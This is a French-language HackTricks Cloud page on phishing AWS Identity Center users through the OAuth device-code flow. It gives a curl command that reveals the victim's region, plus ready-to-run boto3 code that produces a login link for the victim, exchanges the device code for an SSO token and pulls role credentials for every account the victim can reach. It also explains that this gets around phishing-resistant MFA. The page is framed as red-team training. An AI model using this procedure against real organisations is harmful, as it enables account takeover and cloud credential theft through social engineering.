AWS - Identity Center & SSO Unauthenticated Enum
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
AWS Device Code Phishing
Initialement proposĂ© dans this blog post, il est possible dâenvoyer un lien Ă un utilisateur utilisant AWS SSO qui, si lâutilisateur accepte, permettra Ă lâattaquant dâobtenir un token to impersonate the user et dâaccĂ©der Ă tous les roles auxquels lâutilisateur a accĂšs dans lâIdentity Center.
In order to perform this attack the requisites are:
- La victime doit utiliser Identity Center
- Lâattaquant doit connaĂźtre le sous-domaine utilisĂ© par la victime
<victimsub>.awsapps.com/start
Rien quâavec ces informations, lâattaquant pourra envoyer un lien Ă lâutilisateur qui, sâil est acceptĂ©, donnera Ă lâattaquant lâaccĂšs au compte utilisateur AWS.
Attaque
- Trouver le sous-domaine
La premiĂšre Ă©tape pour lâattaquant est de dĂ©couvrir le sous-domaine que lâentreprise victime utilise dans son Identity Center. Cela peut se faire via OSINT ou guessing + BF, car la plupart des entreprises utilisent leur nom ou une variation de celui-ci.
Avec ces informations, il est possible dâobtenir la rĂ©gion dans laquelle Identity Center a Ă©tĂ© configurĂ© :
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Générez le lien pour la victime & envoyez-le
ExĂ©cutez le code suivant pour gĂ©nĂ©rer un lien de connexion AWS SSO afin que la victime puisse sâauthentifier.
Pour la démo, exécutez ce code dans une console python et ne la quittez pas car plus tard vous aurez besoin de certains objets pour obtenir le token:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Envoyez le lien généré à la victime en utilisant vos formidables compétences en ingénierie sociale !
- Attendez que la victime lâaccepte
Si la victime Ă©tait dĂ©jĂ connectĂ©e Ă AWS, elle devra simplement accepter dâaccorder les permissions ; si ce nâĂ©tait pas le cas, elle devra se connecter puis accepter dâaccorder les permissions.
Câest Ă quoi ressemble lâinvite de nos jours :
.png)
- Obtenir un access token SSO
Si la victime a acceptĂ© lâinvite, exĂ©cutez ce code pour gĂ©nĂ©rer un SSO token en vous faisant passer pour lâutilisateur :
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
Le token dâaccĂšs SSO est valide pendant 8h.
- Se faire passer pour lâutilisateur
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing de lâunphisable MFA
Câest intĂ©ressant de savoir que lâattaque prĂ©cĂ©dente fonctionne mĂȘme si un âunphisable MFAâ (webAuth) est utilisĂ©. Cela sâexplique parce que le prĂ©cĂ©dent workflow ne quitte jamais le domaine OAuth utilisĂ©. Contrairement Ă dâautres attaques de phishing oĂč lâutilisateur doit usurper le domaine de connexion, dans ce cas le device code workflow est prĂ©parĂ© de sorte quâun code est connu par un device et lâutilisateur peut se connecter mĂȘme depuis une machine diffĂ©rente. Si lâinvite est acceptĂ©e, le device, simplement en connaissant le code initial, pourra rĂ©cupĂ©rer les credentials de lâutilisateur.
Pour plus dâinfos Ă ce sujet, consultez cet article.
Outils automatiques
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
Références
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

